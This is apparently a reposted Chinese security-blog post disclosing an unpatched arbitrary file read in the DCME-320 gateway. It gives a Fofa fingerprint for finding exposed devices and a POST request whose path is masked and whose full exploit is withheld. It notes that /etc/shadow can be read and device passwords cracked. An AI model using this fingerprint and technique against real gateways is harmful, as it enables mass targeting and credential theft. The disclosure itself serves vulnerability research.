0x00 前言
DCME-320是北京神州数码云科信息技术有限公司采用MIPS多核高性能处理器，针对多用户数、多流量、多业务种类的业务需求而推出的新一代高性能互联网出口网关。
Fofa指纹:"style/blue/css/dcn_ui.css"
0x01 漏洞复现
位于 /xxxxx/xxxx/xxxx/xxxxx.php 文件中存在 File_get_contents 函数读取文件，且传参均可控，导致漏洞产生.
Payload:
POST /xxxx/xxxxx/xxxxx/xxxx.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 29Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=87bb250979fc82ca898020dfcdadeaf3Host: 127.0.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36详细EXP请见文末!详细EXP请见文末!
详细EXP请见文末!详细EXP请见文末!
可直接读取/etc/shadow文件，DES能直接解密出设备密码
0x02
原文始发于微信公众号（星悦安全）：【0day】某州数码DCME-320存在前台任意文件读取漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论